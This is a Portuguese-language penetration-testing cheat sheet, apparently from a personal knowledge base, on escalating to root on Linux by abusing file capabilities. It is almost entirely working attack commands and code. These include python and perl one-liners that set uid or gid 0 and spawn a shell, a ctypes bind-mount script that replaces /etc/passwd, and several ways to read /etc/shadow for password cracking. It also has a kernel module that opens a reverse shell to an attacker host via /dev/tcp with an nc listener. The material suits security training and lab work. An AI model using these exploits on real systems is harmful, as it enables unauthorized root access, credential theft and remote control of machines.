> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/linux/privilege-escalation/capabilities.md).

# Capabilities

Os recursos do Linux são usados para permitir que binários (executados por usuários comuns) realizem operações privilegiadas sem fornecer a eles todas as permissões de root.

Isso é diferente de SUID, prova disso que é um `ls -lh` não irá te trazer nenhuma dica de vulnerabilidade. Para isso, usamos o `getcap`, como descrito logo a seguir.

Os tipo de Capabilities são:

| **CAPABILITIES** | **TIPO**  |
| ---------------- | --------- |
| `CapInh`         | Inherited |
| `CapPrm`         | Permitted |
| `CapEff`         | Effective |
| `CapBnd`         | Bind      |
| `CapAmb`         | Ambient   |

###

### Verificando Capabilities

Exibindo o Capabilities do bash atual. Verifique em `Current: =`

```bash
capsh --print
```

Outra maneira de verificar, é executando seguinte comando:

```bash
grep Cap /proc/$BASHPID/status

# Utilize o saída do comando acima para utilizar embaixo
capsh --decode=<valor_de_Cap***>
```

Podemos também, pesquisar por arquivos no SO que possuem permissões.

```
getcap -r / 2>/dev/null
```

####

### Python

#### cap\_setgid+ep

Procurando por binários vulneráveis

```bash
getcap -r / 2>/dev/null
```

Resultado de binário vulnerável, onde é possível acessar o python com o usuários atual, porém adicioando as permissões do grupo root.

```bash
/usr/bin/python2.7 = cap_setgid+ep
```

Para explorar, basta executar o comando abaixo. Atente-se ao `0` que foi passado como parâmetro em `os.setgid()`, que o número correspondente ao grupo root. Para ver os grupos disoníveis no SO, leia o arquivo `/etc/group` e verifique o número correspondenet ao grupo que queira personificar. É sempre bom, pegar o grupo `shadow` e assim, ler o conteúdo do arquivo `/etc/shadow` para poder então, realizar um ataque de brute force.

```bash
/usr/bin/python2.7 -c 'import os; os.setgid(0); os.system("/bin/bash")'
```

####

#### cap\_sys\_admin+ep

Procurando por binários vulneráveis

```bash
getcap -r / 2>/dev/null
```

Resultado de binário vulnerável, onde é possível acessar o python com usuário root para realizar leitura e escrita de arquivos

```bash
/usr/bin/python2.7 = cap_sys_admin+ep
```

Agora é necessário fazer uma cópia do arquivo `/etc/passwd`, e alterar o hash do usuário root:

```bash
# Copiando arquivo
cp /etc/passwd .
# Gerando hash
openssl passwd -1 -salt abc <pass>
# Modificando hash do root no arquivo copiado
vim passwd
```

Agora vamos criar um arquivo chamado `xpl.py`, com o seguinte conteúdo (altere o valor da variável `source` ):

```bash
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"</path/to/fake/passwd>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
```

Agora basta executar o script e depois acessar o usuário root com a senha definida anteriormente.

```bash
/usr/bin/python2.7 xpl.py
su root
```

#### cap\_setuid / cap\_net\_bind\_service+eip

Deixando o arquivo vulnerável.

```bash
sudo setcap cap_setuid+ep $(which python3)
```

Agora ao executar o comando `get -r / 2>/dev/null`, devemos ter algo parecido com a saída abaixo:

```bash
/usr/bin/python3 = cap_setuid,cap_net_bind_service+eip
```

Pegando bash com permissão root.

```bash
$(which python3) -c 'import os ; os.setuid(0) ; os.system("/bin/bash")'
```

#### cap\_sys\_module

Verifique se o arquivo python está com `cap_sys_module+ep` ativo.

```bash
getcap $(which python)
```

Caso positivo, verifique se o python possui o `kmod`.

```bash
python -c 'help("modules")' | grep "kmod"
```

Se estiver tudo ok até aqui, execute os seguintes comandos:

```bash
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/
```

Crie um arquivo chamado `reverse-shell.c` com o seguinte conteúdo:

```c
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<ip>/<port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
	return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
	printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```

Crie outro, dessa vez com o nome `Makefile`.

```c
obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

E então, execute no terminal:

```c
make
cp reverse-shell.ko lib/modules/5.0.0-20-generic/
depmod -a -b ./
```

Agora crie um arquivo chamado `insert-kernel-module.py` com o seguinte conteúdo:

```python
import kmod
km=kmod.Kmod()
km.set_mod_dir("/home/student/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
```

No host atacante deixe o nc no modo listener para receber a conexão.

```c
nc -nvlp <port>
```

E por último, no host alvo, execute:

```bash
python insert-kernel-module.py
```

#### cap\_dac\_read\_search+ep

Listando arquivo de um diretório

```bash
import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)
```

Lendo conteúdo de um arquivo

```bash
/path/to/python3 -c 'print(open("/etc/shadow", "r").read())'
```

### tcpdump

Deixando o arquivo vulnerável.

```bash
sudo setcap 'cap_net_raw+ep' $(which tcpdump)
```

Agora basta utilizar o tcpdump normalmente.

```bash
$(which tcpdump) -i <interface>
```

### tar

Primeiro verifique o Capability do tar.

```bash
getcap $(which tar)
```

Caso tenha o cap `cap_dac_read_search+ep`, é possível utilizar para comprimir e descomprimir qualquer arquivo.

```bash
$(which tar) cvf shadow.tar /etc/shadow
$(which tar) -xvf shadow.tar
```

### perl

```bash
/usr/bin/perl5.26.1 = cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

### x86\_64-linux-gnu-ld.bfd

Procurando por binários vulneráveis

```bash
getcap -r / 2>/dev/null
```

Resultado

```bash
/usr/bin/x86_64-linux-gnu-ld.bfd = cap_dac_override+ep
```

Copiando `/etc/shadow` para o diretório atual

```bash
/usr/bin/x86_64-linux-gnu-ld.bfd -r -b binary /etc/shadow -o shadow.o
```

Lendo conteúdo de /etc/shadow

```bash
xxd shadow.o
```

### CAP\_SETUID

```bash
import os
import prctl
# Add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
```

####